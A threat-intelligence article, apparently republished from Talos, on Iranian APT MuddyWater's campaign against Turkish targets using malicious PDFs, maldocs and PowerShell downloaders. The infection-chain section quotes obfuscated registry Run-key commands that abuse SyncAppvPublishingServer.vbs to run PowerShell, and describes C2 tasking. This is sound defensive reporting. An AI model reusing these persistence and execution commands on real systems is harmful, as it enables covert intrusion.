Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables

MuddyWater, also known as MERCURY or Static Kitten, is an APT group recently attributed to Iran’s Ministry of Intelligence and Security (MOIS) by U.S. Cyber Command.
This threat actor, active since at least 2017, frequently conducts campaigns against high-value targets in American, European and Asian countries.
Campaigns carried out by the threat actor aim to achieve either of three outcomes:

Espionage – Supporting the political dominance of the nation state in the Middle East.
This is business as usual for the threat actor, motivated by nation-state interests.
Intellectual property theft – Enables economic advantages to the nation state. This goal is accomplished by carrying out aggressive campaigns against private entities and government affiliated institutions such as universities and research entities.
Ransomware attacks – MuddyWater has previously attempted to deploy ransomware such as Thanos on victim networks to either destroy evidence of their intrusions or disrupt operations of private organizations.
This group frequently relies on the use of DNS as part of their means to contact the command and control (C2), while the initial contact with hosting servers is done via HTTP. Their initial payloads usually use PowerShell and Visual Basic scripting along with LoLBins to assist in the initial stages of the infection.

Talos recently observed a campaign operating as recently as November 2021, which analysts attribute with high confidence to the MuddyWater group, targeting Turkish government entities, including the Scientific And Technological Research Council of Turkey – Tubitak.
This campaign consisted of the use of malicious excel documents (XLS maldocs) and executables stored on a file hosting domain “snapfile[.]org”, which would be delivered to the victims in the form of PDF documents with embedded links.

These maldocs, hosted on attacker-controlled or public media-sharing websites are downloaded by malicious PDFs meant to trick the targets into downloading and opening the maldocs. Based on historic evidence of similar campaigns conducted by MuddyWater, it is highly likely that these PDFs served as the initial entry points to the attacks and were distributed via email messages as part of spear-phishing efforts conducted by the group.

The delivery mechanism for this campaign is the distribution of PDF files containing embedded links. Talos found at least two PDF files which shared the same author name, “nejla” , in the metadata. The PDF files typically show an error message and ask the user to click on a link to resolve the issue and display the correct format/extension of the document.
Once the victim clicks on the download button, the endpoint receives a second stage, which can be either a malicious XLS file or a Windows executable that proceeds with the infection.
Once executed, the sample drops a text file in the victim’s temporary folder. This is actually a decoy PDF or Office document in hex format. During execution, the hex representation of the decoy document is hexlified to create a readable copy in the %temp% folder. The decoy will then be opened by the system PDF or document reader and displayed to the victim.
Once the decoy document has been displayed to the victim, the executable starts its main malicious task: Downloading and executing malicious PowerShell scripts served to it by a remote location.
Here, analysts see that the intermediate VBS scripts used in the maldoc based infection chain have been replaced with a PowerShell-based implementation.
The implant will first create a directory in the user’s home folder. This directory will be used to store two PowerShell scripts:

Instrumentor script used to activate the next stage from disk called “.CloudCache.conf.”
Downloader script used to download the next stage from a remote location for execution on the endpoint called “.CloudDrive.conf.”

Just like maldoc-based infections, a registry key is created at HKCUSOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN | for persistence.

For example:


The registry Run key takes advantage of lolbins to run the payload. In this case, it uses SyncAppvPublishingServer.vbs to execute PowerShell code, which will execute the code stored in the instrumentor script (“.CloudCache.conf”):

“CloudDrive”=”C:\Windows\System32\SyncAppvPublishingServer.vbs “n;.(‘{2}{0}{1}’ -f[string][char][int]101,[string][char][int]88,’i’)((.(‘{2}{0}{1}’ -f[string][char][int]101,[string][char][int]88,’i’)((Get-content $env:USERPROFILE\.CloudDrive\.CloudCache.conf))))””

The instrumentor script is responsible for base64 decoding the contents of the downloader (the second PS1 script) and executing it on the endpoint.

The second PS1 script is the actual downloader of the next stage of PowerShell code that is run on the infected endpoint. It downloads the next stage of PowerShell code from a remote location and executes it on the infected endpoint.

In Pakistan case, the executable also uses the Registry run key for persistence of its artifacts on the system. However, in this case, analysts saw a variation in the infection chain:

The attackers skipped using the instrumentor PS1 script as seen in the latest infection chain (described above).
Instead, the attackers configured the Registry run key to execute the downloader script directly via SyncAppvPublishingServer.vbs.


“OwnDrive”=”C:\Windows\System32\SyncAppvPublishingServer.vbs “n;.(‘{2}{0}{1}’ -f[string][char][int]101,[string][char][int]88,’i’)([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-content

The downloader script used in this instance consists of capabilities to collect preliminary data, such as the computer name, to register the infection with the C2 server.

The script will then reach out to the C2 for requesting PowerShell commands to execute. The response received is parsed by the implant to check if the computer name sent back by the C2 matches the current computer name. If a match is found, the corresponding PowerShell commands issued by the C2 are executed on the endpoint and the output/response is AES encrypted and returned to the C2.

The URL for returning the output of a command executed on the system is:


The User Agent used for all these communications is: Googlebot/2.1 (+


Analysts observed the decoy documents reaching out to a remote location:


Similar URLs on this server were accessed in previously observed MuddyWater campaigns targeting Pakistan.

It is highly likely that the attackers used this server as a token tracker to monitor successful infections in this campaign.

Another example of a similar executable used by the threat actor was one to target the telecommunications sector in Armenia.
The decoy document displayed to the victim in this case consists of an internal guide (Maintenance Operation Protocol (MOP)) for Armenia’s Viva-MTS telecom solution provider from Ericsson pertaining to their Smart Services Routers (SSRs) and Evolved Packet Gateway (EPG).
The entire infection chain employed in this campaign, using the malicious PowerShell based downloader, was later seen again in the attack targeting Pakistan.

Sign Up For Threat Alerts

Threats Icon

Aug 08, 2022

RapperBot – new evolving malware

FortiGuard Labs has been tracking a rapidly evolving IoT malware family known as "RapperBot". This...

Threats Icon

Aug 04, 2022

Google Drive And Dropbox Used By APT29...

Cloaked Ursa (aka: APT29) has been targeting governmental entities in several countries with spear-phishing campaigns...

Threats Icon

Aug 03, 2022

Manjusaka: A Chinese sibling of Sliver and...

Cisco Talos recently discovered a new attack framework called "Manjusaka" being used in the wild...

Threats Icon

Aug 03, 2022

macOS Targeted With The CloudMensis Multi-Staged Malware

ESET researchers discovered a previously unknown macOS backdoor that spies on users of the compromised...

Threats Icon

Aug 01, 2022

Attackers Target Ukraine With GoMet Backdoor

Since the Russian invasion of Ukraine began, Ukrainians have been under a nearly constant barrage...

Threats Icon

Jul 31, 2022

Untangling KNOTWEED: European private-sector offensive actor using...

The Microsoft Threat Intelligence Center (MSTIC) and the Microsoft Security Response Center (MSRC) found a...

Threats Icon

Jul 31, 2022

Untangling KNOTWEED: European private-sector offensive actor using...

The Microsoft Threat Intelligence Center (MSTIC) and the Microsoft Security Response Center (MSRC) found a...

Threats Icon

Jul 26, 2022

EvilNum Targets Cryptocurrency, Forex, Commodities

Proofpoint Threat Research observed the group Proofpoint calls TA4563 targeting various European financial and investment...

Threats Icon

Jul 25, 2022

Lightning Framework: New Undetected “Swiss Army Knife”...

Lightning is a previously undocumented and undetected Linux threat. Lightning is a modular framework we...

Threats Icon

Jul 24, 2022

Redeemer Ransomware

Redeemer 2.0 Being Distributed Via Affiliate Program Cyble Research Labs has constantly been tracking emerging...

Threats Icon

Jul 21, 2022

Cobalt Strikes again: UAC-0056 continues to target...

The Malwarebytes Threat Intelligence team recently reviewed a series of cyber attacks against Ukraine that...

Threats Icon

Jul 20, 2022

Trello From the Other Side: APT29 Phishing...

Beginning mid-January 2022, Mandiant detected and responded to an APT29 phishing campaign targeting a diplomatic...

Threats Icon

Jul 18, 2022

New OrBit Linux Malware That Hijacks Execution...

New and entirely undetected Linux threat dubbed OrBit, signally a growing trend of malware attacks...

Threats Icon

Jul 18, 2022

North Korean threat actor targets small and...

A group of actors originating from North Korea that Microsoft Threat Intelligence Center (MSTIC) tracks...

Threats Icon

Jul 13, 2022

ChromeLoader – New Stubborn Malware Campaign

A new browser hijacker/adware campaign named ChromeLoader (also known as Choziosi Loader and ChromeBack) was...